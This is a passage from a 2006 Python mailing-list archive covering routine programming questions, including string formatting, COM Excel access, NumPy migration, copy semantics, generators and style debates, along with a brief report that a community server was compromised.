". " ? > > any help is appreciated. > > Steve. Might searching the output of BeautifulSoup(html).prettify() make things easier? http://www.crummy.com/software/BeautifulSoup/documentation.html#Parsing%20HTML - Paddy From steve at REMOVEME.cybersource.com.au Mon Oct 23 21:44:05 2006 From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano) Date: Tue, 24 Oct 2006 11:44:05 +1000 Subject: Negative integers and string formating Message-ID: Problem: I have an application where I need to print integers differently depending on whether they are positive or negative. To be more specific, I have to print something that looks like: "something + 1" "something - 1" Note the space between the sign and the number. If I didn't need that space, I would have no problem. Yes, I do need that space. I build the format string on the fly, then pass it to another function which actually fills in the values. Simplified example: def format(n): if n > 0: return "something positive + %(argument)d" # real code has a good half-dozen named keys elif n < 0: return "something negative - %(argument)d" else: return "blank" def display(**kwargs): fs = format(kwargs['argument']) return fs % kwargs This works fine for positive and zero values: >>> display(argument=0) 'blank' >>> display(argument=1) 'something positive + 1' but not for negative, due to the extra negative sign: >>> display(argument=-1) 'something negative - -1' Are there any string formatting codes that will place a space between the sign and the number? -- Steven From johnnylee194 at gmail.com Thu Oct 19 23:56:55 2006 From: johnnylee194 at gmail.com (Johnny) Date: 19 Oct 2006 20:56:55 -0700 Subject: Default location while open an Excel file In-Reply-To: References: <1161313718.200425.130220@i3g2000cwc.googlegroups.com> Message-ID: <1161316615.374926.299550@f16g2000cwb.googlegroups.com> On Oct 20, 11:24 am, Gabriel Genellina wrote: > At Friday 20/10/2006 00:08, Johnny wrote: > > >doc.Workbooks.Open(excelFile, ReadOnly=True) > > > But the problem is when I only pass the filename to the Open() > >method, and of course the file is in the current directory, it will > >throw an exception that the specified file can't be found. When I use > >os.path.abspath(excelFile) instead, it works. But I do know that > >somebody can only pass a filename, and no exception is raised. Now I > >wonder is that because the "somebody" happen to put the file on the > >default location of the Open() method? If so, does any one know the > >default location?Why don't you want to use an absolute path? It's safe, will always > work... What if Excel, for whatever reason, decides to start the Open > dialog pointing to another location? What if your script does not > have permission to write on such location? Yes, I agree and willing to use abstract path. I only wonder what's happending inside this method so that I can get more understanding of the problem caused by passing an relative path in. :) Regards, Johnny From jgodoy at gmail.com Tue Oct 10 07:11:17 2006 From: jgodoy at gmail.com (Jorge Godoy) Date: Tue, 10 Oct 2006 08:11:17 -0300 Subject: People's names References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> <463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com> Message-ID: <87hcycl92i.fsf@gmail.com> Steve Holden writes: > It seems like some sort of free text search on a "full name" field looks like > the only realistic globally-acceptable (?) option. This is what we opted doing. Normalization to this level wouldn't add much since there are a lot of "Smith"s that aren't relatives. If finding relatives is something you need to do, demand that the mother's name be filled in and put an optional field for father's name. Then compare and ask if there's something between two people with the same mother / father. (Remember about people with the same name! There are a lot of "John Smith" or "Jos? da Silva" around :-)) -- Jorge Godoy From irmen.NOSPAM at xs4all.nl Wed Oct 4 17:06:45 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Wed, 04 Oct 2006 23:06:45 +0200 Subject: How to ask sax for the file encoding In-Reply-To: References: <4oi0f3FehgnuU1@uni-berlin.de> <4oi4meFep2seU1@uni-berlin.de> <4523f44d$0$4528$e4fe514c@news.xs4all.nl> Message-ID: <4524226b$0$4520$e4fe514c@news.xs4all.nl> Edward K. Ream wrote: >> Please consider adding some elements to the document itself that > describe the desired output format, > > Well, that's what the encoding field in the xml line was supposed to do. As others have tried to explain, the encoding in the xml header is not part of the document data itself, it says something about the data. It would be a bad design decision imo to rely on this meta information if you really meant that information to be part of the data document. > Not a bad idea though, except it changes the file format, and I would really > rather not do that. XML allows you to easily skip any elements that you think you don't need. --Irmen From scott.daniels at acm.org Sun Oct 1 15:51:46 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Sun, 01 Oct 2006 12:51:46 -0700 Subject: Auto color selection PIL In-Reply-To: <451b9e00$0$25777$4d3efbfe@news.sover.net> References: <1159388996.482575.294460@h48g2000cwc.googlegroups.com> <451b0c80$0$25785$4d3efbfe@news.sover.net> <451b9e00$0$25777$4d3efbfe@news.sover.net> Message-ID: <45201479$1@nntp0.pdx.net> Leif K-Brooks wrote: > Gabriel Genellina wrote: >> Try this. It first chooses 0, 1/2, then 1/4, 3/4, then */8... >> It's the best I could make if you don't know the number of colors >> beforehand. If you *do* know how many colors, your previous response >> is OK. I've no better suggestion than either of you, _but_ note that in choosing colors for keys it is generally considered better ergonomics to vary more than simply the hue if you don't want to penalize the colorblind. Consider varying the other two parameters simultaneously (perhaps in restricted ranges and varying orders); the contrast may be more substantial even to a viewer with full color vision. -- --Scott David Daniels scott.daniels at acm.org From bill.pursell at gmail.com Wed Oct 18 15:12:26 2006 From: bill.pursell at gmail.com (Bill Pursell) Date: 18 Oct 2006 12:12:26 -0700 Subject: unloading extension library Message-ID: <1161198746.006021.261320@m7g2000cwm.googlegroups.com> I've got a simple extension module that contains two functions: void hi(void) __attribute__((constructor)); void hi(void) { printf("Hi!\n");} void bye(void) __attribute__((destructor)); void bye(void) { printf("Bye!\n");} When I run in the interpreter: >>> import spam Hi! >>> del spam >>> Notice that the destructor isn't called. How can I force python to dlclose() the library and ensure that my destructors get called? -- Bill Pursell From http Sun Oct 1 08:03:23 2006 From: http (Paul Rubin) Date: 01 Oct 2006 05:03:23 -0700 Subject: Help me use my Dual Core CPU! References: <28ljt3-tcq.ln1@lairds.us> <450730C4.8020408@mvista.com> <7x4pv753mq.fsf@ruckus.brouhaha.com> <1158622096.384055.215610@e3g2000cwe.googlegroups.com> <7xd59np3zy.fsf@ruckus.brouhaha.com> <451c25d6$0$24474$ed2e19e4@ptn-nntp-reader04.plus.net> Message-ID: <7xejtsb5v8.fsf@ruckus.brouhaha.com> Michael writes: > > But ordinary programmers write real-world applications with shared data > > all the time, namely database apps. > > I don't call that shared data because access to the shared data is > arbitrated by a third party - namely the database. I mean where 2 or > more people[*] hold a lock on an object and share it - specifically > the kind of thing you reference above as turning into a mess. Ehhh, I don't see a big difference between having the shared data arbitrated by an external process with cumbersome message passing, or having it arbitrated by an in-process subroutine or even by support built into the language. If you can go for that, I think we agree on most other points. > > This is just silly, and wasteful of the > > efforts of the hardworking chip designers > Aside from the fact it's enabled millions of programmers to deal with > shared data by communicating with a database? Well, sure, but like spreadsheets, its usefulness is that it lets people get non-computationally-demanding tasks (of which there are a lot) done with relatively little effort. More demanding tasks aren't so well served by spreadsheets, and lots of them are using databases running on massively powerful and expensive computers when they could get by with lighter weight communications mechanisms and thereby get the needed performance from much cheaper hardware. That in turn would let normal folks run applications that are right now only feasible for relatively complex businesses. If you want, I can go into why this is important far beyond the nerdy realm of software geekery. > For generator based components we collapse inboxes into outboxes > which means all that's happening when someone puts a piece of data > into an outbox, they're simply saying "I'm no longer going to use > this", and the recipient can use it straight away. But either you're copying stuff between processes, or you're running in-process without multiprocessor concurrency, right? > This is traditional-lock free, > > Lately I've been reading about "software transactional memory" (STM), > I've been hearing about it as well, but not digged into it.... > If you do dig out those STM references, I'd be interested :-) They're in the post you responded to: http://lambda-the-ultimate.org/node/463 http://research.microsoft.com/users/simonpj/papers/stm/ In particular, the one about the GHCI implementation is here: http://research.microsoft.com/users/simonpj/papers/stm/lock-free-flops06.pdf The Wikipedia article is also informative: http://en.wikipedia.org/wiki/Transactional_memory From MonkeeSage at gmail.com Sat Oct 7 21:06:47 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 7 Oct 2006 18:06:47 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> Message-ID: <1160269607.522241.311160@m73g2000cwd.googlegroups.com> On Oct 7, 7:41 pm, Steven D'Aprano wrote: > Are you just making a philosophical point? In which case I agree: *if* you > make the analogy "a dictionary key is analogous to a sequence index", > *then* the operation of "in" isn't semantically analogous between mappings > and sequences. But why should it be? It shouldn't, and I'm making a pragmatic (not merely philosophic) point regarding the OP's question whether there is a "similar" list method to dict.has_key. > In both mappings and sequences, "in" tests for membership. But *what* it > tests for membership is different. There's no shame there. I know / agree. > Originally, if you wanted to > test for key membership with a dict, you had three choices: I know. On Oct 7, 7:59 pm, Steven D'Aprano wrote: > Because they aren't needed often, and when they are, they are easy to > implement? More often and easier to implement than dict.has_key / get? > It is hard to see where list.get(index, default) would be useful, since > accessing an index out of range of a list is generally an error, unlike > accessing a missing key. Uh, no. KeyError. > But I like symmetry, and for symmetry I wouldn't > object to sequences gaining a get method too. Not that I care about it > enough to put in a feature request or a PEP, but if somebody else did, I > wouldn't object. Me neither. :) > get() is easy enough to implement. Feel free to turn it into a method > of a collection class if you like. I already did, see previous posts. > Not every piece of functionality needs to be a built-in. Agreed. but why implement a certain functionality in one place but leave it out of another? Regards, Jordan From mikael at isy.liu.se Mon Oct 2 11:12:58 2006 From: mikael at isy.liu.se (Mikael Olofsson) Date: Mon, 02 Oct 2006 17:12:58 +0200 Subject: How can I make a class that can be converted into an int? In-Reply-To: References: Message-ID: <45212C7A.7040505@isy.liu.se> Matthew Wilson wrote: > What are the internal methods that I need to define on any class so that > this code can work? > > c = C("three") > > i = int(c) # i is 3 From Python Reference Manual, section 3.4.7 Emulating numeric types: __complex__( self) __int__( self) __long__( self) __float__( self) Called to implement the built-in functions complex(), int(), long(), and float(). Should return a value of the appropriate type. /MiO From http Sun Oct 1 02:37:00 2006 From: http (Paul Rubin) Date: 30 Sep 2006 23:37:00 -0700 Subject: changing numbers to spellings References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com> <1159679133.367507.286320@i42g2000cwa.googlegroups.com> Message-ID: <7xwt7k5ypf.fsf@ruckus.brouhaha.com> "MonkeeSage" writes: > If you need the actual names for like "Five Hundred and Sixty Seven", I > think one of the smart people 'round here will have to help with that. > I have some ideas, but I'm not very good at creating complex > algorithms. These kinds of things are generally most easily done with recursion. ================================================================ def spell(n): # return n spelled out in words if type(n) not in (int, long): raise ValueError, n if n == 0: return 'zero' return zspell(n) def zspell(n): # return n (assumed integer) spelled out in words, with zero = empty string if n < 0: return 'minus ' + spell(-n) elif n == 0: return '' elif n < 20: return ('zero', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen')[n] elif n < 100: a,b = divmod(n, 10) return '%s%s'% (('twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety')[a-2], ((b > 0) and '-'+zspell(b)) or '') elif n < 1000: return '%s hundred %s'% (zspell(n // 100), zspell(n % 100)) elif n < 10**6: return '%s thousand %s'% (zspell(n // 1000), zspell(n % 1000)) elif n < 10**66: def xillion(n, d=0): illions = ('m', 'b', 'tr', 'quadr', 'quint', 'sext', 'sept', 'oct', 'non', 'dec', 'undec', 'duodec', 'tredec', 'quattuordec', 'quinquadec', 'sextemdec', 'septemdec', 'octodec', 'novemdec', 'vigint') if n == 0: return '' elif n < 1000: return '%s %s'% \ (zspell(n), illions[d] + 'illion') else: return '%s %s'% (xillion(n // 1000, d+1), xillion(n % 1000, d)) return '%s %s' % (xillion(n // 10**6), zspell(n % 10**6)) else: # I can't count that high! from math import log10 ch,m = divmod(log10(n), 1.0) return '%fe%d'% (10.**m, int(ch)) From johnjsal at NOSPAMgmail.com Thu Oct 19 12:00:03 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 19 Oct 2006 16:00:03 GMT Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: Message-ID: <7iNZg.117$1n3.3352@news.tufts.edu> rick wrote: > Why can't Python have a reverse() function/method like Ruby? I'm not steeped enough in daily programming to argue that it isn't necessary, but my question is why do you need to reverse strings? Is it something that happens often enough to warrant a method for it? From mee at quidquam.com Tue Oct 24 23:41:15 2006 From: mee at quidquam.com (Mike Erickson) Date: Tue, 24 Oct 2006 22:41:15 -0500 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: <20061025034115.GB1360@gray.mee> * pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) wrote: > Hello: > I have next dictionaries: > a={'a':0, 'b':1, 'c':2, 'd':3} > b={'a':0, 'c':1, 'd':2, 'e':3} > I want to put in a new dictionary named c all the keys that are in b > and re-sequence the values. The result I want is: > c={'a':0, 'c':1, 'd':2} > How can I do this with one line of instruction? > > I attempted the next but the output is not the expected: > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) > erroneously (for me) gets: > {'a': 0, 'c': 2, 'd': 3} I am not 100% I understand your questions, but k,v are being pulled from a, try: c=dict([(k,b[k]) for v,k in enumerate(a) if b.has_key(k)]) mike From will at willmcgugan.com Mon Oct 2 07:21:08 2006 From: will at willmcgugan.com (Will McGugan) Date: 2 Oct 2006 04:21:08 -0700 Subject: __init__ style questions References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> Message-ID: <1159788068.306378.253270@m7g2000cwm.googlegroups.com> Duncan Booth wrote: > No it isn't Pythonic. Why not just require 3 values and move the > responsibility onto the caller to pass them correctly? They can still use > an iterator if they want: > > Vector3D(a, b, c) > Vector3D(*some_iter) I kind of liked the ability to partially use iterators. It would be convenient for reading in from a file for example f = file( "model.txt" ) v1 = Vector3D( f ) v2 = Vector3D( f ) v3 = Vector3D( f ) Which you couldnt do with a tuple, because the * syntac would attempt to read the entire file (I think). > > Then your initialiser becomes: > > def __init__(self, x=0, y=0, z=0): > self.x, self.y, self.z = x, y, z > > much cleaner and also catches accidental use of iterators. > > Alternatively, insist on always getting exactly 0 or 1 arguments: > > Vector3D((a,b,c)) > Vector3D(some_iter) > > def __init__(self, (x, y, z)=(0,0,0)): > self.x, self.y, self.z = x, y, z > > which is great if you already have lots of 3-tuples, but a pain otherwise > to remember to double the parentheses. Hmm. Not keen on that for the reason you mentioned. For my particular use case there would be a lot of Vector3D 'literals'. From oliphant.travis at ieee.org Wed Oct 4 03:39:34 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Wed, 04 Oct 2006 01:39:34 -0600 Subject: switching to numpy and failing, a user story In-Reply-To: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> Message-ID: greg.landrum at gmail.com wrote: > After using numeric for almost ten years, I decided to attempt to > switch a large codebase (python and C++) to using numpy. Here's are > some comments about how that went. > > - The code to automatically switch python stuff over just kind of > works. But it was a 90% solution, I could do the rest by hand. Of > course, the problem is that then the code is still using the old > numeric API, so it's not a long term solution. Unfortunately, to switch > to the numpy API one needs documentation, which is a problem; see > below. I'm glad to hear of your experiences (good and bad). We need feedback exactly from users like you in order to improve things. Yep, the code converter is a 80% solution, but it does work. Improvements are always welcome. > > - Well, ok, the automatic switching code doesn't really work all that > well... my uses of RandomArray still work, but they generate different > numbers. The underlying random-number generator must have changed. I'm > sure that it's "better" now, but it's different. This is a major pain > for my regression tests that rely on seeding the random number > generator and getting particular results. But that's ok, I can update > the regressions for the new RNG. > You definitely can't expect the same random number generator. The new one (thanks to Robert Kern) is quite good. > - My extension modules just won't build because the new numpy stuff > lives in a different location from where Numeric used to live. This is an easy one and is documented in lots of places on the new http://www.scipy.org site. Plus, people are always willing to help out if you just ask. The numpy-discussion list is quite active. Don't be shy. > - I guess I should just buy the documentation. I don't like this idea, > because I think it's counter-productive to the project to have payware > docs (would Python be successful if you had to buy the documentation? I > don't think so), but that's the way this project goes. It's probably better to call it "complete documentation." Normal open-source documentation is available from http://www.scipy.org. There are lots of people who have helped it. I had to do something to at least pretend to justify the time NumPy took me to the people who care about how I spend my time (including my family). This was the best I could come up with. I'm doubly > unhappy about it because they payment system is using Paypal and I > don't like Paypal at all, but I guess that's just the way it goes. Oh, > wait, I *can't* buy the docs because I'm not in the US and the payment > page requires a US address. Is that really true? A lot of people not living in the U.S. have used Paypal successfully. When difficulties arise, communicating with me your difficulty is usually productive. I give up; I guess NumPy is only for people living in the US. Definitely not true. People in Singapore, Japan, Ghana, South Africa, France, Germany, New Zealand, Australia, and many other countries are using NumPy successfully. Gratefully, a few have contributed by buying the book, but a lot more have downloaded and are successfully using it. I'm sorry about your experience, you definitely don't *have* to buy the book to use NumPy. Just like you don't *have* to buy any Python book to use Python. The amount of documentation for NumPy is growing and I expect that trend to continue. There is a lot of information in the source file. > > I guess I'll come back to NumPy in 2010, when the docs are available. > Or just ask on the mailing lists, use the numpy.oldnumeric interface (the differences are all documented in the first few pages of my book which is available for free now). Thanks, -Travis From bjobrien62 at gmail.com Mon Oct 30 16:10:47 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 30 Oct 2006 13:10:47 -0800 Subject: scared about refrences... In-Reply-To: References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> Message-ID: <1162242647.481298.251320@b28g2000cwb.googlegroups.com> Marc 'BlackJack' Rintsch wrote: > In <1162236136.367603.165180 at b28g2000cwb.googlegroups.com>, SpreadTooThin > wrote: > > > I'm really worried that python may is doing some things I wasn't > > expecting... but lets see... > > Expect that Python never copies something if don't ask explicitly for a > copy. > > > if I pass a list to a function def fn(myList): > > > > and in that function I modify an element in the list, then does the > > callers list get modied as well. > > > > def fn(list): > > list[1] = 0 > > > > myList = [1, 2, 3] > > print myList > > fn(myList) > > print myList > > > >>>> [1,2,3] > >>>> [1,0,3] > > > > How can I avoid this? In this case this is a really simplified example > > but the effects are the same... > > In this case: > > def fn(lst): > lst = list(lst) > lst[1] = 0 > > > > How do I specify or create deep copies of objects that may contain > > other objects that may contain other object that may contain other > > objects.... > > See the `copy` module especially `copy.deepcopy()`. > This appears to be the right thing to do to me.. (but what do I know?) I tried this which more closely resembles my project but this doesn't work: import array import copy class test: def __init__(self): self.a = array.array('H', [1, 2, 3]) self.b = ['a', 'b', 'c'] def dump(self): print self.a, self.b t = test() t.dump() def testit(x): t = copy.deepcopy(x) t.a[1] = 0 t.b[1] = 0 testit(t) t.dump() From ilias at lazaridis.com Wed Oct 11 21:36:32 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 11 Oct 2006 18:36:32 -0700 Subject: self (was: Python component model) In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> Message-ID: <1160616992.844994.15000@i42g2000cwa.googlegroups.com> Peter Maas wrote: > Paul Boddie wrote: > > People who bring up stuff about self and indentation are just showing > > their ignorance, in my opinion, since Python isn't the first language > > to use self in such a way, and many C++ and Java programs use this > > pervasively in order to make attribute scope explicit, whereas the > > indentation matter is only troublesome with bad editing practices. I > > don't think the community should spend any more time on these > > criticisms. > > How many programmers don't use Python because of the self issue? > I'm not for changing the semantics here but when I wrote a method with > lots of selfs recently I tried how it would look like if it would be > allowed not to write down 'self', i.e. from > > def deposit(self, amount): > self.balance = self.balance + amount > > to > > def deposit( , amount): > .balance = .balance + amount would like this. I finally liked pythons 'forced-indentation' thing, but 'self' is just terrible. def deposit(amount) .balance = .balance + amount # a little thin this dot @balance = @balance + amount # why not similar to ruby? self = # self remains available but this will have most possibly major implications (design, compatibility etc.) possibly the simplest way would be to agree on 's' (typing is very fast, faster than SHIFT-2 for @) def deposit(s, amount) s.balance = s.balance + amount so, python 2.6 = introduces agreement on 's' ? this will never happen, but everyone is of course free to use 's' instead of 'self' immedeately. There's no problem (except possibly the tiny annoyancy when reading through libraries which use 'self'). . -- http://lazaridis.com From ewijaya at i2r.a-star.edu.sg Thu Oct 12 09:35:26 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Thu, 12 Oct 2006 21:35:26 +0800 Subject: Click and Drag Functionality in Web Apps with Python Message-ID: <3ACF03E372996C4EACD542EA8A05E66A06159B@mailbe01.teak.local.net> Hi, Some recent webapps like Kiko , Google's gadget , and spreadsheets to name a few, have this functionality. I wonder how can this funcitonalities be implemented in Python. Do you guys have any experience with it? Any Python module that support that? Regards, Edward WIJAYA SINGAPOE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From jcoleman at franciscan.edu Sun Oct 29 10:24:56 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 29 Oct 2006 07:24:56 -0800 Subject: Observation on "Core Python Programming" Message-ID: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> Greetings, My copy of the second edition of Chun's "Core Python Programming" just arrived from Amazon on Friday. What really jumped out at me is an interesting feature about how it sequences its topics, namely, (user-defined) functions are not introduced until chapter 11, fully 400 pages into the book. This contrasts strongly with a traditional "Introduction to language X" book which has a chapter sequence roughy like: Chapter 1) Intro - Hello World Chapter 2) Variables Chapter 3) If, if-else Chapter 4) Loops Chapter 5) Functions and/or subroutines The exact details vary from book to book and language to language of course, but usually the above topics are covered in the first 100-150 pages since it is hard to do anything interesting until all of these tools are under your belt. Chun's book by contrast is able, on the strength of Python's built-in functions, to cover a fair amount of relatively interesting things (dictionaries, file IO, exception handling, etc.) before introducing user-defined functions. I don't want to read too much into this, but the mere fact that it is possible to write a Python book in this fashion seems to confirm the "batteries are included" philosophy of Python. Perhaps there is less need to learn how to roll your own batteries as soon as possible. -John Coleman From fredrik at pythonware.com Mon Oct 23 07:16:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 13:16:43 +0200 Subject: The Mythical Man-month's pdf file References: <1161601019.237381.64840@m7g2000cwm.googlegroups.com> Message-ID: wrote: > Does anyone have the .pdf file of the book THE MYTHICAL MAN-MONTH? start here: http://www.amazon.com/dp/0201835959 From no at spam.com Sun Oct 22 14:14:41 2006 From: no at spam.com (Mike Krell) Date: Sun, 22 Oct 2006 13:14:41 -0500 Subject: Problems trying to override __str__ on path class Message-ID: I'm running into problems trying to override __str__ on the path class from Jason Orendorff's path module (http://www.jorendorff.com/articles/python/path/src/path.py). My first attempt to do this was as follows: ''' class NormPath(path): def __str__(self): return 'overridden __str__: ' + path.__str__(self.normpath()) ''' The problem is that the override is not invoked unless str() is called explictly, as indicated by the test program and its output below: ''' from normpath import NormPath np = NormPath('c:/mbk/test') print 'np: "%s"' % np print 'str(np): "%s"' % str(np) print np / 'appendtest' np: "c:/mbk/test" str(np): "overridden __str__: c:\mbk\test" c:/mbk/test\appendtest ''' I suspect that the problem has to do with the base class of the path class being unicode because it works when I create dummy classes derived off of object. My next attempt was to try delegation as follows: ''' class NormPath(object): def __init__(self, *a, **k): self._path = path(*a, **k) def __str__(self): return 'overridden __str__: ' + str(self._path.normpath()) def __getattr__(self, attr): print 'delegating %s...' % attr return getattr(self._path, attr) ''' In this case the test program blows up with a TypeError when trying to invoke the / operator: ''' np: "overridden __str__: c:\mbk\test" str(np): "overridden __str__: c:\mbk\test" ------------------------------------------------------------------------- exceptions.TypeError Traceback (most recent call last) e:\projects\Python\vc\nptest.py 1 from normpath import NormPath 2 np=NormPath('c:/mbk/test') 3 print 'np: "%s"' % np 4 print 'str(np): "%s"' % str(np) ----> 5 print np / 'appendtest' TypeError: unsupported operand type(s) for /: 'NormPath' and 'str' WARNING: Failure executing file: ''' Can someone explain these failures to me? Also, assuming I don't want to modify path.py itself, is there any way to do what I'm trying to accomplish? BTW, I'm running 2.4.2 under Windows. Thanks in advance, Mike From bruno at modulix.org Wed Oct 11 16:12:10 2006 From: bruno at modulix.org (bruno de chez modulix en face) Date: 11 Oct 2006 13:12:10 -0700 Subject: sufficiently pythonic code for testing type of function In-Reply-To: References: <452cab5d$0$5294$426a74cc@news.free.fr> Message-ID: <1160597530.865379.20680@i3g2000cwc.googlegroups.com> Theerasak Photha a ?crit : > On 10/11/06, Bruno Desthuilliers wrote: > > > Now the real question : what if the object is not an instance of any of > > the types, but still support the expected interface ? > > Perhaps: > > try: > for attribute in ['foo', 'bar', '__baz__']: > getattr(mystery_object, '__%s__' % attribute) > except AttributeError: > # Do sumthin bout it Isn't this a case of useless overcomplexification ? Since you end up raising an exception, why not just assume the object is ok and let Python raise the exception for you if it is not ? From the client code POV, it doesn't make much difference !-) > Is it wrong to 're-raise' an exception with application-specific > details within an except clause? Nope - as long as you provide more details (or more helpful details) *and* do not loose/mask/whatever useful infos from the original exception. From webmaster at cacradicalgrace.org Sat Oct 28 16:46:34 2006 From: webmaster at cacradicalgrace.org (J. Clifford Dyer) Date: Sat, 28 Oct 2006 14:46:34 -0600 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: Georg Brandl wrote: > J. Clifford Dyer wrote: > >> >>> (1 > 0) < 1 >> False >> >>> 1 > 0 < 1 >> True >> >>> 1 > (0 < 1) >> False >> >>> 10 > (0 < 1) >> True > > I hope you know why this works the way it does. > > Georg Yes, I do understand why it works. I couldn't have crafted it if I didn't, but my point is that the reason why it works is not explainable if you believe that you are dealing with booleans. It's only explainable if you recognize that you are actually dealing with integers, and specifically, 1 and 0. So the something/nothing dichotomy combined with an understanding of what the comparison operation REALLY does (yield a 1 or a 0) helps you understand where your result came from, while thinking in terms of true/false will mislead you. From Leo.Kislov at gmail.com Mon Oct 30 02:34:07 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 29 Oct 2006 23:34:07 -0800 Subject: subprocess decoding? References: Message-ID: <1162193647.335011.315830@m7g2000cwm.googlegroups.com> MC wrote: > Hi! > > On win-XP (french), when I read subprocess (stdout), I must use > differents decoding (cp1252,cp850,cp437, or no decoding), depending of > the "launch mode" of the same Python's script: > - from command-line > - from start+run > - from icon > - by Python-COM-server > - etc. > > (.py & .pyw can also contribute) > > > How to know, on the fly, the encoding used by subprocess? You can't. Consider a Windows equivalent of UNIX "cat" program. It just dump content of a file to stdout. So the problem of finding out the encoding of stdout is equal to finding out encoding of any file. It's just impossible to do in general. Now, you maybe talking about conventions. AFAIK since Windows doesn't have strong command line culture, it doesn't such conventions. -- Leo From larry.bates at websafe.com Tue Oct 3 17:05:42 2006 From: larry.bates at websafe.com (Larry Bates) Date: Tue, 03 Oct 2006 16:05:42 -0500 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: LaundroMat wrote: > Suppose I have this function: > > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. > > Thanks in advance. > The answer is don't pass any value. print f() will print 2 -Larry Bates From rurpy at yahoo.com Sun Oct 15 17:31:06 2006 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: 15 Oct 2006 14:31:06 -0700 Subject: OT: What's up with the starship? In-Reply-To: <1160938429.707909.28360@f16g2000cwb.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> Message-ID: <1160947865.920162.173040@i3g2000cwc.googlegroups.com> Robert Hicks wrote: > rurpy at yahoo.com wrote: > > T. Bryan wrote: > > > Thomas Heller wrote: > > > > > > > I cannot connect to starship.python.net: neither http, nor can I login > > > > interactively with ssl (and the host key seems to have changed as well). > > > > > > > > Does anyone know more? > > > > > > starship.python.net was compromised. It looked like a rootkit may have been > > > installed. The volunteer admins are in the process of reinstalling the OS > > > and rebuilding the system. That process will probably take a few days at > > > least. > > > > Does anyone know more? > > > > What about the integrity of the python packages hosted there? > > When was the site compromised? > > I just installed the python 2.5 pywin module last week. > > Should I be concerned? > > > > Is this related to the Python security problem recently announced? > > Did you even read about the vulnerability? Yes. Do you have any answers, or do you just enjoy posting irrevelant responses? From paddy3118 at netscape.net Thu Oct 26 14:51:27 2006 From: paddy3118 at netscape.net (Paddy) Date: 26 Oct 2006 11:51:27 -0700 Subject: How to identify generator/iterator objects? In-Reply-To: References: Message-ID: <1161888686.918622.224000@h48g2000cwc.googlegroups.com> Kenneth McDonald wrote: > I'm trying to write a 'flatten' generator which, when give a > generator/iterator that can yield iterators, generators, and other data > types, will 'flatten' everything so that it in turns yields stuff by > simply yielding the instances of other types, and recursively yields the > stuff yielded by the gen/iter objects. > > To do this, I need to determine (as fair as I can see), what are > generator and iterator objects. Unfortunately: > > >>> iter("abc") > > >>> def f(x): > ... for s in x: yield s > ... > >>> f > > >>> f.__class__ > > > So while I can identify iterators, I can't identify generators by class. > > Is there a way to do this? Or perhaps another (better) way to achieve > this flattening effect? itertools doesn't seem to have anything that > will do it. > > Thanks, > Ken Unfortunately, nothing is as easy as it may seem: >>> def is_generator(f): ... return f.func_code.co_flags & CO_GENERATOR != 0 ... >>> def f(x): ... for s in x: yield s ... >>> is_generator(f) True >>> # But look at the following: >>> def f2(x): ... def g(y): ... for s in y: yield s ... return g(x) ... >>> f2([1,2,3]) >>> is_generator(f2) False >>> ;-) - Paddy. From robfalck at gmail.com Mon Oct 30 16:14:03 2006 